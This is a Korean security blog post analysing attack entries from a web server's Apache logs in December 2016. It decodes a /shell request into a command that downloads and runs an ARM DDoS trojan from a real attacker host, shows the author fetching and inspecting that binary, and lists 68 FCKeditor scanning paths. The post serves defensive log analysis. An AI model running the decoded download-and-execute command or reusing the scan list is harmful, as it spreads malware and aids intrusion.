홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






>> 목록보이기
#Apache log #공격로그 #/cgi-bin/authLogin.cgi #/shell #armgg #DDoS #악성코드 #FCKeditor #Web Editor #A9-Using Components with Known Vulnerabilities

오늘의 웹서버 공격로그 (2016년 12월 1~2일)

2016년 12월 1일과 2일에 웹핵누리집의 아파치 로그에서 관찰된 - 공격으로 추정되는 - 접속 기록들이다.

단순 탐색

180.97.215.174 - - [01/Dec/2016:14:06:49 +0900] "GET /script HTTP/1.1" 404 470 "-" "python-requests/2.7.0 CPython/2.7.9 Windows/2003Server"
222.186.56.233 - - [01/Dec/2016:15:21:08 +0900] "POST /cgi-bin/authLogin.cgi HTTP/1.1" 404 510 "-" "-"

180.97.215.174(중국 장쑤성)에서 접근한 /script에 대한 정보는 부족하다. 파이썬(Python)으로 제작한 프로그램이 탐색한 것으로 보인다. 서버의 응답은 404.

222.186.56.233(중국 장쑤성)에서 접속한 /cgi-bin/authoLogin.cgi는 QNAP NAS의 쉘쇼크 취약점을 공략하기 위해 접근을 시도한 것으로 보인다. 서버의 응답은 404.

서비스거부공격(DoS) 악성코드 설치 시도

122.114.253.94 - - [02/Dec/2016:20:46:51 +0900] "GET / HTTP/1.1" 200 23103 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
122.114.253.94 - - [02/Dec/2016:20:46:52 +0900] "GET /shell?%63%64%20%2F%74%6D%70%3B%77%67%65%74%20%2D%63%20%68%74%74%70%3A%2F%2F%31%32%32%2E%31%31%34%2E%32%35%33%2E%39%34%3A%31%35%35%32%31%2F%61%72%6D%67%67%3B%63%68%6D%6F%64%20%37%37%37%20%61%72%6D%67%67%3B%2E%2F%61%72%6D%67%67%20%26 HTTP/1.1" 404 411 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"

접속자 IP주소: 122.114.253.94 (중국 허난성)
URL 인코딩된 로그가 보인다. 서버응답은 404.

다음은 위의 URL 인코딩된 URL을 분석한 것이다.

root@kali:~# cat urldecode.txt
<?php echo urldecode('http://localhost/shell?%63%64%20%2F%74%6D%70%3B%77%67%65%74%20%2D%63%20%68%74%74%70%3A%2F%2F%31%32%32%2E%31%31%34%2E%32%35%33%2E%39%34%3A%31%35%35%32%31%2F%61%72%6D%67%67%3B%63%68%6D%6F%64%20%37%37%37%20%61%72%6D%67%67%3B%2E%2F%61%72%6D%67%67%20%26'); ?>

root@kali:~# php urldecode.txt 
http://localhost/shell?cd /tmp;wget -c http://122.114.253.94:15521/armgg;chmod 777 armgg;./armgg &
root@kali:~# wget http://122.114.253.94:15521/armgg
--2016-12-02 22:27:57--  http://122.114.253.94:15521/armgg
접속 122.114.253.94:15521... 접속됨.
HTTP request sent, awaiting response... 200 OK
Length: 1001465 (978K) [application/octet-stream]
Saving to: ‘armgg’

armgg                100%[============================>] 977.99K  78.2KB/s    in 12s

2016-12-02 22:28:10 (80.4 KB/s) - ‘armgg’ saved [1001465/1001465]

root@kali:~# ls -als armgg
980 -rw-rw-r-- 1   root   root 1001465 11월 25 22:30 armgg
root@kali:~# md5sum armgg
8853274e8fc48a83eef1abbb9961b960  armgg
root@kali:~# 

/shell이라는 URL에서 운영체제 명령어를 실행할 수 있는 웹 애플리케이션이 존재하는 것으로 추정된다. 이러한 웹앱은 아직 모르겠다 (혹시 아시는 분은 연락주시길...). 디코딩된 URL을 보면 (1) /tmp 디렉토리로 이동, (2) http://122.114.253.94:15521/armgg 파일을 wget으로 내려받아 저장, (3) armgg 파일에 777 실행권한 부여, (4) armgg 실행을 시도한다. armgg 파일의 크기는 980KB이며, MD5 해쉬는 8853274e8fc48a83eef1abbb9961b960이다.

혹시 분석이 필요한 경우를 대비하여 armgg 파일을 웹핵누리집에 저장해놓았다. ARM 바이너리 분석이 가능한 분이라면 시도해보시길 부탁드린다.

좀 더 살펴보자.

root@kali:~# file armgg
armgg: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.16, not stripped
root@kali:~# strings armgg
[생략]
sed -i -e '/exit/d' /etc/rc.local
sed -i -e '/^
$/d' /etc/rc.local
sed -i -e '/%s/d' /etc/rc.local
sed -i -e '2 i%s/%s' /etc/rc.local
sed -i -e '2 i%s/%s start' /etc/rc.d/rc.local
sed -i -e '2 i%s/%s start' /etc/init.d/boot.local
[생략]
/proc/meminfo
/sys/devices/system/cpu/online
/proc/stat
/proc/cpuinfo
[생략]
root@kali:~# 

armgg는 ARM 계열에서 작동하는 리눅스를 표적으로 하는 바이너리 파일이다. 웹 서버가 실행중인 태블릿, 안드로이드 스마트폰, ARM 임베디드 리눅스, 라즈베리 파이 등이 대상일 것으로 추정된다. (/shell라는 URL을 사용하는 웹 애플리케이션을 알면 범위를 더 좁힐 수 있을 것이다.) 파일 내부의 문자열을 살펴보면 /etc/rc.local과 같은 시동스크립트를 조작하려고 하며 /proc/meminfo 등을 통해 시스템 정보도 분석하는 것 같다.

armgg 파일에 대한 VirusTotal의 분석결과를 요약하면,

  • 최초 분석 날짜: 2016-11-26 07:56:48 UTC
  • 탐지비율: 31/54
  • 주요 분석결과: Trojan.Linux.Flooder.D (ALYac), Backdoor.Linux.Dofloo!c (AhnLab-V3), ELF:Aesddos-K [Trj] (Avast), Backdoor.Linux.Dofloo.c (Kaspersky), Linux/DDoS-BE (Sophos), Linux.Dofloo (Symantec) 등

바이러스토탈의 분석결과를 살펴보면 armgg 파일은 비교적 최근에 활동을 시작한 ARM 리눅스용 서비스거부공격(DoS 또는 DDoS) 악성코드로 추정된다.

FCKeditor 탐색

이 로그는 웹핵누리집이 아닌 다른 웹 서버의 아파치 로그 중에서 오늘 발견한 취약점 스캔 기록이다. 중국에서 사용하는 것으로 보이는 Dede CMS와 수많은 침해사고의 원인이었던 FCKeditor를 탐색하고 있다.

218.92.147.79 - - [29/Nov/2016:00:31:37 +0900] "OPTIONS / HTTP/1.1" 200 13036
218.92.147.79 - - [29/Nov/2016:00:31:38 +0900] "GET /templets/default/style/dedecms.css HTTP/1.1" 404 301
218.92.147.79 - - [30/Nov/2016:02:52:13 +0900] "OPTIONS / HTTP/1.1" 200 13087
218.92.147.79 - - [30/Nov/2016:02:52:13 +0900] "GET /templets/default/style/dedecms.css HTTP/1.1" 404 301
218.92.147.79 - - [02/Dec/2016:20:05:50 +0900] "OPTIONS / HTTP/1.1" 200 13103
218.92.147.79 - - [02/Dec/2016:20:05:51 +0900] "GET /Administrator/FCKeditor/fckeditor.js HTTP/1.1" 404 303
218.92.147.79 - - [02/Dec/2016:20:06:05 +0900] "GET /Administrator/fckeditor/fckeditor.js HTTP/1.1" 404 303
218.92.147.79 - - [02/Dec/2016:20:06:23 +0900] "GET /_fckeditor/fckeditor.js HTTP/1.1" 404 290
218.92.147.79 - - [02/Dec/2016:20:06:34 +0900] "GET /admin/editor/fckeditor.js HTTP/1.1" 404 292
218.92.147.79 - - [02/Dec/2016:20:06:45 +0900] "GET /admin/fckeditor/fckeditor.js HTTP/1.1" 404 295
218.92.147.79 - - [02/Dec/2016:20:06:57 +0900] "GET /common/fckeditor/fckeditor.js HTTP/1.1" 404 296
218.92.147.79 - - [02/Dec/2016:20:07:03 +0900] "GET /editor/fckeditor.js HTTP/1.1" 404 286
218.92.147.79 - - [02/Dec/2016:20:07:13 +0900] "GET /fckeditor/fckeditor.js HTTP/1.1" 404 289
218.92.147.79 - - [02/Dec/2016:20:07:15 +0900] "GET /js/fckeditor/fckeditor.js HTTP/1.1" 404 292
218.92.147.79 - - [02/Dec/2016:20:07:22 +0900] "GET /include/fckeditor/fckeditor.js HTTP/1.1" 404 297
218.92.147.79 - - [02/Dec/2016:20:07:27 +0900] "GET /FCKEditorV2/fckeditor.js HTTP/1.1" 404 291
218.92.147.79 - - [02/Dec/2016:20:07:44 +0900] "GET /FCKeditor/fckeditor.js HTTP/1.1" 404 289
218.92.147.79 - - [02/Dec/2016:20:07:58 +0900] "GET /admin/js/fckeditor/fckeditor.js HTTP/1.1" 404 298
218.92.147.79 - - [02/Dec/2016:20:08:06 +0900] "GET /fck/fckeditor.js HTTP/1.1" 404 283
218.92.147.79 - - [02/Dec/2016:20:08:17 +0900] "GET /Fckeditor/fckeditor.js HTTP/1.1" 404 289
218.92.147.79 - - [02/Dec/2016:20:08:36 +0900] "GET /Fckeditornew/fckeditor.js HTTP/1.1" 404 292
218.92.147.79 - - [02/Dec/2016:20:08:47 +0900] "GET /Fckeditorold/fckeditor.js HTTP/1.1" 404 292
218.92.147.79 - - [02/Dec/2016:20:08:57 +0900] "GET /Public/Js/FCKeditor/fckeditor.js HTTP/1.1" 404 299
218.92.147.79 - - [02/Dec/2016:20:09:08 +0900] "GET /Uploadfiles/fck/fckeditor.js HTTP/1.1" 404 295
218.92.147.79 - - [02/Dec/2016:20:09:19 +0900] "GET /Uploadfiles/fckeditor/fckeditor.js HTTP/1.1" 404 301
218.92.147.79 - - [02/Dec/2016:20:09:28 +0900] "GET /Web/FCKeditor/fckeditor.js HTTP/1.1" 404 293
218.92.147.79 - - [02/Dec/2016:20:09:37 +0900] "GET /WebSite/fckeditor/fckeditor.js HTTP/1.1" 404 297
218.92.147.79 - - [02/Dec/2016:20:09:47 +0900] "GET /admin/fck/fckeditor.js HTTP/1.1" 404 289
218.92.147.79 - - [02/Dec/2016:20:09:55 +0900] "GET /admin/system/fckeditor.js HTTP/1.1" 404 292
218.92.147.79 - - [02/Dec/2016:20:10:03 +0900] "GET /admin/view/javascript/fckeditor/fckeditor.js HTTP/1.1" 404 311
218.92.147.79 - - [02/Dec/2016:20:10:11 +0900] "GET /admin/wo%5fedit/fckeditor.js HTTP/1.1" 404 293
218.92.147.79 - - [02/Dec/2016:20:10:18 +0900] "GET /admin/wo_edit/fckeditor.js HTTP/1.1" 404 293
218.92.147.79 - - [02/Dec/2016:20:10:22 +0900] "GET /admin_bg/fckeditor/fckeditor.js HTTP/1.1" 404 298
218.92.147.79 - - [02/Dec/2016:20:10:30 +0900] "GET /ckeditor/fckeditor.js HTTP/1.1" 404 288
218.92.147.79 - - [02/Dec/2016:20:10:35 +0900] "GET /ecmseditor/fckeditor/fckeditor.js HTTP/1.1" 404 300
218.92.147.79 - - [02/Dec/2016:20:10:41 +0900] "GET /editor/fckeditor/fckeditor.js HTTP/1.1" 404 296
218.92.147.79 - - [02/Dec/2016:20:10:49 +0900] "GET /editor1/fckeditor.js HTTP/1.1" 404 287
218.92.147.79 - - [02/Dec/2016:20:10:53 +0900] "GET /editorold/fckeditor.js HTTP/1.1" 404 289
218.92.147.79 - - [02/Dec/2016:20:10:59 +0900] "GET /editors/FCKeditor/fckeditor.js HTTP/1.1" 404 297
218.92.147.79 - - [02/Dec/2016:20:11:04 +0900] "GET /ejuyfckeditor/fckeditor.js HTTP/1.1" 404 293
218.92.147.79 - - [02/Dec/2016:20:11:11 +0900] "GET /expansion/fckeditor/fckeditor.js HTTP/1.1" 404 299
218.92.147.79 - - [02/Dec/2016:20:11:21 +0900] "GET /fk/fckeditor.js HTTP/1.1" 404 282
218.92.147.79 - - [02/Dec/2016:20:11:32 +0900] "GET /guestbook/fckeditor/fckeditor.js HTTP/1.1" 404 299
218.92.147.79 - - [02/Dec/2016:20:11:42 +0900] "GET /html/fck/fckeditor.js HTTP/1.1" 404 288
218.92.147.79 - - [02/Dec/2016:20:11:47 +0900] "GET /html/fckeditor/fckeditor.js HTTP/1.1" 404 294
218.92.147.79 - - [02/Dec/2016:20:11:52 +0900] "GET /inc/fck/fckeditor.js HTTP/1.1" 404 287
218.92.147.79 - - [02/Dec/2016:20:11:57 +0900] "GET /inc/fckeditor/fckeditor.js HTTP/1.1" 404 293
218.92.147.79 - - [02/Dec/2016:20:12:05 +0900] "GET /includes/fckeditor/fckeditor.js HTTP/1.1" 404 298
218.92.147.79 - - [02/Dec/2016:20:12:22 +0900] "GET /lib/FCKeditor/fckeditor.js HTTP/1.1" 404 293
218.92.147.79 - - [02/Dec/2016:20:12:26 +0900] "GET /mag/fckeditor/fckeditor.js HTTP/1.1" 404 293
218.92.147.79 - - [02/Dec/2016:20:12:34 +0900] "GET /manage/editor/fckeditor.js HTTP/1.1" 404 293
218.92.147.79 - - [02/Dec/2016:20:12:44 +0900] "GET /manage/fck/fckeditor.js HTTP/1.1" 404 290
218.92.147.79 - - [02/Dec/2016:20:12:46 +0900] "GET /manage/fckeditor/fckeditor.js HTTP/1.1" 404 296
218.92.147.79 - - [02/Dec/2016:20:12:53 +0900] "GET /scripts/fckeditor/fckeditor.js HTTP/1.1" 404 297
218.92.147.79 - - [02/Dec/2016:20:13:00 +0900] "GET /server/fckeditor/fckeditor.js HTTP/1.1" 404 296
218.92.147.79 - - [02/Dec/2016:20:13:10 +0900] "GET /siteadmin/FCKeditor/fckeditor.js HTTP/1.1" 404 299
218.92.147.79 - - [02/Dec/2016:20:13:22 +0900] "GET /sscms/fckeditor/fckeditor.js HTTP/1.1" 404 295
218.92.147.79 - - [02/Dec/2016:20:13:33 +0900] "GET /sysadmin/fckeditor/fckeditor.js HTTP/1.1" 404 298
218.92.147.79 - - [02/Dec/2016:20:13:43 +0900] "GET /system/application/plugins/fckeditor/fckeditor.js HTTP/1.1" 404 316
218.92.147.79 - - [02/Dec/2016:20:13:55 +0900] "GET /system/ext/FCKeditor/fckeditor.js HTTP/1.1" 404 300
218.92.147.79 - - [02/Dec/2016:20:14:02 +0900] "GET /system/fckeditor/fckeditor.js HTTP/1.1" 404 296
218.92.147.79 - - [02/Dec/2016:20:14:11 +0900] "GET /textarea/fck/fckeditor.js HTTP/1.1" 404 292
218.92.147.79 - - [02/Dec/2016:20:14:21 +0900] "GET /tools/fckeditor/fckeditor.js HTTP/1.1" 404 295
218.92.147.79 - - [02/Dec/2016:20:14:32 +0900] "GET /tyopfckeditor/fckeditor.js HTTP/1.1" 404 293
218.92.147.79 - - [02/Dec/2016:20:14:42 +0900] "GET /webadmin/FCKeditor/fckeditor.js HTTP/1.1" 404 298
218.92.147.79 - - [02/Dec/2016:20:14:47 +0900] "GET /wp-content/plugins/editormonkey/fckeditor/fckeditor.js HTTP/1.1" 404 321
218.92.147.79 - - [02/Dec/2016:20:14:52 +0900] "GET /html/js/editor/fckeditor/fckeditor.js HTTP/1.1" 404 304
218.92.147.79 - - [02/Dec/2016:20:14:59 +0900] "GET /_admin/fckeditor/fckeditor.js HTTP/1.1" 404 296
218.92.147.79 - - [02/Dec/2016:20:15:04 +0900] "GET /public/js/fckeditor/fckeditor.js HTTP/1.1" 404 299
218.92.147.79 - - [02/Dec/2016:20:15:16 +0900] "GET /webmanage/fckeditor/fckeditor.js HTTP/1.1" 404 299
218.92.147.79 - - [02/Dec/2016:20:15:34 +0900] "GET /agents/fckeditor/fckeditor.js HTTP/1.1" 404 296
218.92.147.79 - - [02/Dec/2016:20:15:39 +0900] "GET /webeditor/fckeditor.js HTTP/1.1" 404 289
218.92.147.79 - - [02/Dec/2016:20:15:46 +0900] "GET /Public/Js/FCKMini/fckeditor.js HTTP/1.1" 404 297

접속자 IP주소: 218.92.147.79 (중국 장쑤성)
11월 29,30일 이틀동안 DedeCMS를 두 번 스캔하였다. 구글에서 "dedecms exploit"으로 검색했더니 DedeCMS에는 RFI, SQL구문삽입 등 다수의 취약점이 알려져 있는 것을 알 수 있다.
12월 2일에는 68개의 URL을 접속하여 FCKeditor가 존재하는 지 탐색하였다. FCKeditor는 2005년에 처음 파일업로드 취약점이 발견된 이후로(Fckeditor : Security vulnerabilities - CVE Details), 현재까지도 자동화 공격의 도구로 매우 활발하게 사용되고 있다는 증거이다.

[처음 작성한 날: 2016.12.02]    [마지막으로 고친 날: 2016.12.03] 


< 이전 글 : 기억하기 쉽고 안전한 비밀번호 만들기 (2016.12.03)

> 다음 글 : KISA의 랜섬웨어 예방 수칙 (2016.12.02)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문

.. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ...... ... ... ] .. [ .../ ..../ ......./ .. ./// ../ ... .. ... .. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ./// ../ ... .. ... ...| ..../ ./ ... / ..| ....| ........ / ... / .... ...... ... ... ] .. [ .../ ..../ ......./ .....| ..../ ./ ... / ..| ....| ........ / ... / .... ...| ..../ ./ ... / ..| ....| ........ / ... / .... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .